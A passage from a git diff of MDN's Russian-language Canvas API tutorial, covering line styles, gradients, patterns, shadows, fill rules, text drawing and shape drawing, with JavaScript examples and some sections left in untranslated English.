Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет четкой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.

+ +

Пример lineCap

+ +

Свойство lineCap определяет, как выводятся конечные точки каждой строки. Для этого свойства есть три возможных значения: butt, round и square. По умолчанию для этого свойства установлено значение butt.

+ +

+ +
+
butt
+
Концы линий соответствуют крайним точкам.
+
round
+
Концы линий округлены.
+
square
+
Концы линий описаны квадратом с равной шириной и половиной высоты толщины линии.
+
+ +

В этом примере мы проведем три строки, каждая из которых имеет другое значение для свойства lineCap. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.

+ +

Строка слева использует butt опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант -  round опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует square опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineCap = ['butt','round','square'];
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.beginPath();
+  ctx.moveTo(10,10);
+  ctx.lineTo(140,10);
+  ctx.moveTo(10,140);
+  ctx.lineTo(140,140);
+  ctx.stroke();
+
+  // Draw lines
+  ctx.strokeStyle = 'black';
+  for (var i=0;i<lineCap.length;i++){
+    ctx.lineWidth = 15;
+    ctx.lineCap = lineCap[i];
+    ctx.beginPath();
+    ctx.moveTo(25+i*50,10);
+    ctx.lineTo(25+i*50,140);
+    ctx.stroke();
+  }
+}
+
+ + + +

{{EmbedLiveSample("Пример_lineCap", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}

+ +

Пример lineJoin

+ +

Свойство lineJoin определяет, как соединяются два сегмента (линий, дуг или кривых) с ненулевой длиной в форме (вырожденные сегменты с нулевой длиной, заданные конечные точки и контрольные точки находятся точно в том же положении - пропущены).

+ +

Для этого свойства есть три возможных значения: round, bevel и miter. По умолчанию для этого свойства установлено значение miter. Обратите внимание, что настройка lineJoin не действует, если два связанных сегмента имеют одно и то же направление, потому что в этом случае не будет добавлена ​​область соединения.

+ +

+ +
+
round
+
Радиус заполняемой части для скругленных углов равен половине ширины линии. центр этого радиуса совпадает с концами подключенных сегментов.
+
bevel
+
Заполняет дополнительную треугольную область между общей конечной точкой подключенных сегментов и отдельными внешними прямоугольными углами каждого сегмента. 
+
miter
+
Подключенные сегменты соединяются путем расширения их внешних краев для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства miterLimit, которое объясняется ниже.
+
+ +

В приведенном ниже примере показаны три разных пути, демонстрирующие каждый из этих трех свойств lineJoin; результат - выше. 

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineJoin = ['round','bevel','miter'];
+  ctx.lineWidth = 10;
+  for (var i=0;i<lineJoin.length;i++){
+    ctx.lineJoin = lineJoin[i];
+    ctx.beginPath();
+    ctx.moveTo(-5,5+i*40);
+    ctx.lineTo(35,45+i*40);
+    ctx.lineTo(75,5+i*40);
+    ctx.lineTo(115,45+i*40);
+    ctx.lineTo(155,5+i*40);
+    ctx.stroke();
+  }
+}
+
+ + + +

{{EmbedLiveSample("Пример_lineJoin", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}

+ +

Демонстрация свойства miterLimit

+ +

Как вы видели в предыдущем примере, при объединении двух строк с опцией miter внешние края двух соединительных линий расширены до точки, где они встречаются. Для линий, которые находятся под большими углами друг с другом, эта точка находится недалеко от внутренней точки соединения. Однако, поскольку углы между каждой линией уменьшаются, расстояние (длина меча) между этими точками увеличивается экспоненциально.

+ +

Свойство miterLimit определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства miterLimit (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому miterLimit может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму ребер линии.

+ +

Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединенных краев линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краев к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:

+ + + +

Вот небольшая демонстрация, в которой вы можете динамически установить miterLimit и посмотреть, как это влияет на фигуры на холсте. Синие линии показывают, где начальная и конечная точки для каждой из линий в шаблоне зигзага.

+ +

Если вы укажете в этой демонстрации значение miterLimit ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой miterLimit выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удаленной от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Clear canvas
+  ctx.clearRect(0,0,150,150);
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.lineWidth   = 2;
+  ctx.strokeRect(-5,50,160,50);
+
+  // Set line styles
+  ctx.strokeStyle = '#000';
+  ctx.lineWidth = 10;
+
+  // check input
+  if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
+    ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
+  } else {
+    alert('Value must be a positive number');
+  }
+
+  // Draw lines
+  ctx.beginPath();
+  ctx.moveTo(0,100);
+  for (i=0;i<24;i++){
+    var dy = i%2==0 ? 25 : -25 ;
+    ctx.lineTo(Math.pow(i,1.5)*2,75+dy);
+  }
+  ctx.stroke();
+  return false;
+}
+
+ + + +

{{EmbedLiveSample("Демонстрация_свойства_miterLimit", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}

+ +

Использование штрихов

+ +

Метод setLineDash и свойство lineDashOffset задают шаблон штрихов для линий. Метод setLineDash принимает список чисел, который определяет расстояния для попеременного рисования линии и разрыва, а свойство lineDashOffset устанавливает смещение, с которого начинается шаблон.

+ +

В этом примере мы создаем эффект походных муравьев. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.

+ + + +
var ctx = document.getElementById('canvas').getContext('2d');
+var offset = 0;
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10,10, 100, 100);
+}
+
+function march() {
+  offset++;
+  if (offset > 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();
+ +

{{EmbedLiveSample("Используемый штрих", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}

+ +

Градиенты

+ +

Just like any normal drawing program, we can fill and stroke shapes using linear and radial gradients. We create a {{domxref("CanvasGradient")}} object by using one of the following methods. We can then assign this object to the fillStyle or strokeStyle properties.

+ +
+
{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}
+
Creates a linear gradient object with a starting point of (x1, y1) and an end point of (x2, y2).
+
{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}
+
Creates a radial gradient. The parameters represent two circles, one with its center at (x1, y1) and a radius of r1, and the other with its center at (x2, y2) with a radius of r2.
+
+ +

For example:

+ +
var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
+
+ +

Once we've created a CanvasGradient object we can assign colors to it by using the addColorStop() method.

+ +
+
{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}
+
Creates a new color stop on the gradient object. The position is a number between 0.0 and 1.0 and defines the relative position of the color in the gradient, and the color argument must be a string representing a CSS {{cssxref("<color>")}}, indicating the color the gradient should reach at that offset into the transition.
+
+ +

You can add as many color stops to a gradient as you need. Below is a very simple linear gradient from white to black.

+ +
var lineargradient = ctx.createLinearGradient(0,0,150,150);
+lineargradient.addColorStop(0, 'white');
+lineargradient.addColorStop(1, 'black');
+
+ +

Пример createLinearGradient

+ +

In this example, we'll create two different gradients. As you can see here, both the strokeStyle and fillStyle properties can accept a canvasGradient object as valid input.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var lingrad = ctx.createLinearGradient(0,0,0,150);
+  lingrad.addColorStop(0, '#00ABEB');
+  lingrad.addColorStop(0.5, '#fff');
+  lingrad.addColorStop(0.5, '#26C000');
+  lingrad.addColorStop(1, '#fff');
+
+  var lingrad2 = ctx.createLinearGradient(0,50,0,95);
+  lingrad2.addColorStop(0.5, '#000');
+  lingrad2.addColorStop(1, 'rgba(0,0,0,0)');
+
+  // assign gradients to fill and stroke styles
+  ctx.fillStyle = lingrad;
+  ctx.strokeStyle = lingrad2;
+
+  // draw shapes
+  ctx.fillRect(10,10,130,130);
+  ctx.strokeRect(50,50,50,50);
+
+}
+
+ + + +

The first is a background gradient. As you can see, we assigned two colors at the same position. You do this to make very sharp color transitions—in this case from white to green. Normally, it doesn't matter in what order you define the color stops, but in this special case, it does significantly. If you keep the assignments in the order you want them to appear, this won't be a problem.

+ +

In the second gradient, we didn't assign the starting color (at position 0.0) since it wasn't strictly necessary, because it will automatically assume the color of the next color stop. Therefore, assigning the black color at position 0.5 automatically makes the gradient, from the start to this stop, black.

+ +

{{EmbedLiveSample("Пример_createLinearGradient", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}

+ +

Пример createRadialGradient

+ +

In this example, we'll define four different radial gradients. Because we have control over the start and closing points of the gradient, we can achieve more complex effects than we would normally have in the "classic" radial gradients we see in, for instance, Photoshop (that is, a gradient with a single center point where the gradient expands outward in a circular shape).

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var radgrad = ctx.createRadialGradient(45,45,10,52,50,30);
+  radgrad.addColorStop(0, '#A7D30C');
+  radgrad.addColorStop(0.9, '#019F62');
+  radgrad.addColorStop(1, 'rgba(1,159,98,0)');
+
+  var radgrad2 = ctx.createRadialGradient(105,105,20,112,120,50);
+  radgrad2.addColorStop(0, '#FF5F98');
+  radgrad2.addColorStop(0.75, '#FF0188');
+  radgrad2.addColorStop(1, 'rgba(255,1,136,0)');
+
+  var radgrad3 = ctx.createRadialGradient(95,15,15,102,20,40);
+  radgrad3.addColorStop(0, '#00C9FF');
+  radgrad3.addColorStop(0.8, '#00B5E2');
+  radgrad3.addColorStop(1, 'rgba(0,201,255,0)');
+
+  var radgrad4 = ctx.createRadialGradient(0,150,50,0,140,90);
+  radgrad4.addColorStop(0, '#F4F201');
+  radgrad4.addColorStop(0.8, '#E4C700');
+  radgrad4.addColorStop(1, 'rgba(228,199,0,0)');
+
+  // draw shapes
+  ctx.fillStyle = radgrad4;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad3;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad2;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad;
+  ctx.fillRect(0,0,150,150);
+}
+
+ + + +

In this case, we've offset the starting point slightly from the end point to achieve a spherical 3D effect. It's best to try to avoid letting the inside and outside circles overlap because this results in strange effects which are hard to predict.

+ +

The last color stop in each of the four gradients uses a fully transparent color. If you want to have a nice transition from this to the previous color stop, both colors should be equal. This isn't very obvious from the code because it uses two different CSS color methods as a demonstration, but in the first gradient #019F62 = rgba(1,159,98,1).

+ +

{{EmbedLiveSample("Пример_createRadialGradient", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}

+ +

Шаблоны

+ +

В одном из предыдущих примеров мы использовали несколько циклов, чтобы создать шаблон из повторяющихся изображений. Однако, есть более простой способ сделать подобное - метод createPattern().

+ +
+
{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}
+
Создает и возвращает новый canvas объект - шаблон (pattern). image - {{domxref("CanvasImageSource")}} (то есть {{domxref ("HTMLImageElement")}}, другой холст, элемент {{HTMLElement ("video")}} или подобный  объект. type - строка, указывающая, как использовать image.
+
+ +

Тип указывает, как использовать image для создания шаблона и должен быть одним из следующих значений:

+ +
+
repeat
+
Повторяет изображение в вертикальном и горизонтальном направлениях.
+
repeat-x
+
Повторяет изображение по горизонтали, но не по вертикали.
+
repeat-y
+
Повторяет изображение по вертикали, но не по горизонтали.
+
no-repeat
+
Не повторяет изображение. Используется только один раз.
+
+ +

Мы используем этот метод, чтобы создать {{domxref("CanvasPattern")}} объект, который очень похож на методы градиента, рассмотренные ранее. Как только мы создали шаблон, мы можем назначить ему свойства fillStyle или strokeStyle. Например:

+ +
var img = new Image();
+img.src = 'someimage.png';
+var ptrn = ctx.createPattern(img,'repeat');
+
+ +
+

Примечание: По аналогии с методом drawImage(), вы должны убедиться, что изображение, которое вы используете, загружено до вызова этого метода. Иначе шаблон может быть отрисован некорректно.

+
+ +

Пример createPattern

+ +

In this last example, we'll create a pattern to assign to the fillStyle property. The only thing worth noting is the use of the image's onload handler. This is to make sure the image is loaded before it is assigned to the pattern.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // create new image object to use as pattern
+  var img = new Image();
+  img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+  img.onload = function(){
+
+    // create pattern
+    var ptrn = ctx.createPattern(img,'repeat');
+    ctx.fillStyle = ptrn;
+    ctx.fillRect(0,0,150,150);
+
+  }
+}
+
+ + + +

{{EmbedLiveSample("Пример_createPattern", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}

+ +

Тени

+ +

Using shadows involves just four properties:

+ +
+
{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}
+
Indicates the horizontal distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.
+
{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}
+
Indicates the vertical distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.
+
{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}
+
Indicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.
+
{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}
+
A standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.
+
+ +

The properties shadowOffsetX and shadowOffsetY indicate how far the shadow should extend from the object in the X and Y directions; these values aren't affected by the current transformation matrix. Use negative values to cause the shadow to extend up or to the left, and positive values to cause the shadow to extend down or to the right. These are both 0 by default.

+ +

The shadowBlur property indicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.

+ +

The shadowColor property is a standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.

+ +
+

Note: Shadows are only drawn for source-over compositing operations.

+
+ +

Пример текста с тенью

+ +

This example draws a text string with a shadowing effect.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.shadowOffsetX = 2;
+  ctx.shadowOffsetY = 2;
+  ctx.shadowBlur = 2;
+  ctx.shadowColor = "rgba(0, 0, 0, 0.5)";
+
+  ctx.font = "20px Times New Roman";
+  ctx.fillStyle = "Black";
+  ctx.fillText("Sample String", 5, 30);
+}
+
+ + + +

{{EmbedLiveSample("Пример_текста_с_тенью", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}

+ +

We will look at the font property and fillText method in the next chapter about drawing text.

+ +

Canvas fill rules

+ +

When using fill (or {{domxref("CanvasRenderingContext2D.clip", "clip")}} and {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}}) you can optionally provide a fill rule algorithm by which to determine if a point is inside or outside a path and thus if it gets filled or not. This is useful when a path intersetcs itself or is nested.
+
+ Two values are possible:

+ + + +

In this example we are using the evenodd rule.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.beginPath();
+  ctx.arc(50, 50, 30, 0, Math.PI*2, true);
+  ctx.arc(50, 50, 15, 0, Math.PI*2, true);
+  ctx.fill("evenodd");
+}
+ + + +

{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}

diff --git "a/files/ru/web/api/canvas_api/tutorial/\321\200\320\270\321\201\320\276\320\262\320\260\320\275\320\270\320\265_\321\202\320\265\320\272\321\201\321\202\320\260/index.html" "b/files/ru/web/api/canvas_api/tutorial/\321\200\320\270\321\201\320\276\320\262\320\260\320\275\320\270\320\265_\321\202\320\265\320\272\321\201\321\202\320\260/index.html" new file mode 100644 index 0000000000..90915c5e09 --- /dev/null +++ "b/files/ru/web/api/canvas_api/tutorial/\321\200\320\270\321\201\320\276\320\262\320\260\320\275\320\270\320\265_\321\202\320\265\320\272\321\201\321\202\320\260/index.html" @@ -0,0 +1,166 @@ +--- +title: Рисование текста +slug: Web/API/Canvas_API/Tutorial/Рисование_текста +tags: + - Canvas + - Графика + - Примеры + - Рукводовство + - мануал +translation_of: Web/API/Canvas_API/Tutorial/Drawing_text +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}
+ +
+

После того, как мы увидели в предыдущей главе, как применять стили и цвета, взглянем на написание текста в canvas.

+
+ +

Рисование текста

+ +

Контекст рендеринга canvas предоставляет два метода для рисования текста:

+ +
+
{{domxref("CanvasRenderingContext2D.fillText", "fillText(text, x, y [, maxWidth])")}}
+
Вставляет заданный текст в положении (x,y). Опционально может быть указана максимальная ширина.
+
{{domxref("CanvasRenderingContext2D.strokeText", "strokeText(text, x, y [, maxWidth])")}}
+
Вставляет контур заданного текста в положении (x,y). Опционально может быть указана максимальная ширина.
+
+ +

Пример fillText

+ +

Текст вставлен с использованием текущего fillStyle.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = "48px serif";
+  ctx.fillText("Hello world", 10, 50);
+}
+ + + +

{{EmbedLiveSample("A_fillText_example", 310, 110)}}

+ +

Пример strokeText

+ +

Текст вставлен с использованием текущего strokeStyle.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = "48px serif";
+  ctx.strokeText("Hello world", 10, 50);
+}
+ + + +

{{EmbedLiveSample("A_strokeText_example", 310, 110)}}

+ +

Стилизация текста

+ +

В примерах выше мы уже использовали свойство font для изменения размера текста. Кроме него существуют еще несколько свойств, позволяющие настроить вывод текста на canvas:

+ +
+
{{domxref("CanvasRenderingContext2D.font", "font = value")}}
+
Это основной стиль, который будет использоваться для вывода текста. Строка имеет такой же синтаксис, как CSS-свойство {{cssxref("font")}}. По умолчанию - sans-serif высотой 10px.
+
{{domxref("CanvasRenderingContext2D.textAlign", "textAlign = value")}}
+
Настройка выравнивания текста. Возможные значения: start, end, left, right или center. По умолчанию - start.
+
{{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline = value")}}
+
Настройка выравнивания текста по вертикали. Возможные значения: top, hanging, middle, alphabetic, ideographic, bottom. По умолчанию - alphabetic.
+
{{domxref("CanvasRenderingContext2D.direction", "direction = value")}}
+
Направление текста. Возможные значения: ltr, rtl, inherit. По умолчанию - inherit.
+
+ +

Эти свойства могут быть вам знакомы если вы работали с CSS.

+ +

Изображение от WHATWG ниже показывает различные варианты свойства textBaseline.The top of the em square is +roughly at the top of the glyphs in a font, the hanging baseline is +where some glyphs like आ are anchored, the middle is half-way +between the top of the em square and the bottom of the em square, +the alphabetic baseline is where characters like Á, ÿ, +f, and Ω are anchored, the ideographic baseline is +where glyphs like 私 and 達 are anchored, and the bottom +of the em square is roughly at the bottom of the glyphs in a +font. The top and bottom of the bounding box can be far from these +baselines, due to glyphs extending far outside the em square.

+ +

Пример textBaseline

+ +

Редактируя код ниже, вы можете видеть, как меняется отображение текста на canvas в реальном времени:

+ +
ctx.font = "48px serif";
+ctx.textBaseline = "hanging";
+ctx.strokeText("Hello world!", 0, 100);
+
+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Измерение ширины текста

+ +

Для измерения ширины текста (без рисования его на canvas) можно воспользоваться следующим методом:

+ +
+
{{domxref("CanvasRenderingContext2D.measureText", "measureText()")}}
+
Возвращает объект {{domxref("TextMetrics")}}, содержащий ширину текста в пикселах, до отрисовки на canvas.
+
+ +

Пример ниже показывает, как можно измерить ширину текста.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var text = ctx.measureText("foo"); // TextMetrics object
+  text.width; // 16;
+}
+
+ +

Примечания

+ +

В ранних версиях Gecko (движок рендеринга в Firefox, Firefox OS и других приложениях Mozilla) были реализованы методы API с префиксами для рисования текста на canvas. На данный момент они устарели и уже, возможно, удалены, поэтому их правильная работа не гарантируется.

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}

diff --git "a/files/ru/web/api/canvas_api/tutorial/\321\200\320\270\321\201\320\276\320\262\320\260\320\275\320\270\320\265_\321\204\320\270\320\263\321\203\321\200/index.html" "b/files/ru/web/api/canvas_api/tutorial/\321\200\320\270\321\201\320\276\320\262\320\260\320\275\320\270\320\265_\321\204\320\270\320\263\321\203\321\200/index.html" new file mode 100644 index 0000000000..f6ca6c23ef --- /dev/null +++ "b/files/ru/web/api/canvas_api/tutorial/\321\200\320\270\321\201\320\276\320\262\320\260\320\275\320\270\320\265_\321\204\320\270\320\263\321\203\321\200/index.html" @@ -0,0 +1,582 @@ +--- +title: Рисование фигур с помощью canvas +slug: Web/API/Canvas_API/Tutorial/Рисование_фигур +translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}
+ +
+

Теперь, установив наше окружение canvas, мы можем погрузиться в детали того, как рисовать в canvas. К концу этой статьи, Вы научитесь рисовать прямоугольники, треугольники, линии, дуги и кривые, при условии что Вы хорошо знакомы с основными геометрическими фигурами. Работа с путями весьма важна, когда рисуете объекты на canvas и мы увидим как это может быть сделано.

+
+ +

Сетка

+ +

Перед тем, как мы начнем рисовать, нам нужно поговорить о сетке canvas или координатной плоскости. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas с сеткой, накладываемой по умолчанию. Обычно 1 единица на сетке соответствует 1 пикселю на canvas. Начало координат этой сетки расположено в верхнем левом углу в координате (0,0 ). Все элементы размещены относительно этого начала. Таким образом, положение верхнего левого угла синего квадрата составляет х пикселей слева и у пикселей сверху, на координате (х, у). Позже в этом уроке мы увидим, как можно перевести начало координат в другое место, вращать сетку и даже масштабировать ее, но сейчас мы будем придерживаться настроек сетки по умолчанию.

+ +

Рисование прямоугольников

+ +

В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединенных в линии. К счастью в ассортименте рисования контуров у нас есть  функции, которые делают возможным составление очень сложных фигур.

+ +

Сначала рассмотрим прямоугольник. Ниже представлены три функции рисования прямоугольников в canvas:

+ +
+
{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}
+
Рисование заполненного прямоугольника.
+
{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}
+
Рисование прямоугольного контура.
+
{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}
+
Очистка  прямоугольной области, делая содержимое совершенно прозрачным.
+
+ +

Каждая из приведенных функций принимает несколько параметров: 

+ + + +

Ниже приведена функция draw(), использующая эти три функции.

+ +

Пример создания прямоугольных фигур

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25,25,100,100);
+    ctx.clearRect(45,45,60,60);
+    ctx.strokeRect(50,50,50,50);
+  }
+}
+ +

Этот пример изображен ниже.

+ +

{{EmbedLiveSample("Пример_создания_прямоугольных_фигур", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}

+ +

Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создает прямоугольный контур 50х50 пикселей внутри очищенного квадрата.

+ +

На следующей странице мы рассмотрим две альтернативы методу clearRect(), и также увидим, как можно изменять цвет и стиль контура отображаемых фигур.

+ +

В отличие от функций создания контуров, которые будут рассмотрены в следующем разделе, все три функции создания прямоугольника сразу же отображаются на canvas.

+ +

Рисование контуров (path)

+ +

Остальные примитивные фигуры создаются контурами. Контур - это набор точек, которые, соединяясь в отрезки линий, могут образовывать различные фигуры, изогнутые или нет, разной ширины и разного цвета. Контур (или субконтур) может быть закрытым.

+ +

Создание фигур используя контуры происходит в несколько важных шагов:

+ +
    +
  1. Сначала вы создаете контур.
    2. +
  2. Затем, используя команды рисования, рисуете контур.
    3. +
  3. Потом закрываете контур.
    4. +
  4. Созданный контур вы можете обвести или залить для его отображения.
    5. +
+ +

Здесь приведены функции, которые можно использовать в описанных шагах:

+ +
+
{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}
+
Создает новый контур. После создания используется в дальнейшем командами рисования при построении контуров.
+
Path методы
+
Методы для установки различных контуров объекта.
+
{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}
+
Закрывает контур, так что будущие команды рисования вновь направлены контекст.
+
{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}
+
Рисует фигуру с внешней обводкой.
+
{{domxref("CanvasRenderingContext2D.fill", "fill()")}}
+
Рисует фигуру с заливкой внутренней области.
+
+ +

Первый шаг создания контура заключается в вызове функции beginPath(). Внутри содержатся контуры в виде набора суб-контуров (линии, дуги и др.), которые вместе образуют форму фигуры. Каждый вызов этого метода очищает набор, и мы можем начинать рисовать новые фигуры.

+ +
Note:  если текущий контур пуст (например, как после вызова beginPath() или на вновь созданном canvas), первой командой построения контура всегда является функция  moveTo(). Поэтому мы всегда можем установить начальную позицию рисования контура после перезагрузки.
+ +

Вторым шагом является вызов методов, определяемых видом контура, который нужно нарисовать. Их мы рассмотрим позднее.

+ +

Третий и необязательный шаг - это вызов closePath(). Этот метод пытается закрыть фигуру, рисуя прямую линию из текущей точки в начальную. Если фигура была уже закрыта или является просто точкой, то функция ничего не делает.

+ +
Note: Когда вы вызываете fill(), то каждая открытая фигура закрывается автоматически, так что вы можете не использовать closePath(). Это обстоятельство не имеет место в случае вызова stroke().
+ +

Рисование треугольника

+ +

Например, код для рисования треугольника будет выглядеть как-то так:

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75,50);
+    ctx.lineTo(100,75);
+    ctx.lineTo(100,25);
+    ctx.fill();
+  }
+}
+
+ +

Результат выглядит так:

+ +

{{EmbedLiveSample("Рисование_треугольника", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}

+ +

Передвижение пера

+ +

Одна очень полезная функция, которая ничего не рисует, но связана по смыслу с вышеописанными функциями  - это moveTo(). Вы можете представить это как отрыв (подъем) пера от бумаги и его перемещение в другое место.

+ +
+
{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}
+
Перемещает перо в точку с координатами x и y.
+
+ +

При инициализации canvas или при вызове beginPath(), вы захотите использовать функцию moveTo() для перемещения в точку начала рисования. Можно использовать moveTo() и для рисования несвязанного(незакрытого) контура. Посмотрите на смайлик ниже.

+ +

Вы можете проверить это сами, используя участок кода ниже. Просто вставьте в функцию draw(), рассмотренную ранее.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+     var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75,75,50,0,Math.PI*2,true); // Внешняя окружность
+    ctx.moveTo(110,75);
+    ctx.arc(75,75,35,0,Math.PI,false);  // рот (по часовой стрелке)
+    ctx.moveTo(65,65);
+    ctx.arc(60,65,5,0,Math.PI*2,true);  // Левый глаз
+    ctx.moveTo(95,65);
+    ctx.arc(90,65,5,0,Math.PI*2,true);  // Правый глаз
+    ctx.stroke();
+  }
+}
+
+ +

Результат этого ниже:

+ +

{{EmbedLiveSample("Передвижение_пера", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}

+ +

Если вы захотите увидеть соединные линии, то можете удалить вызов moveTo().

+ +
+

Note: Подробнее о функции arc(),посмотрите {{anch("Дуги")}} .

+
+ +

Линии

+ +

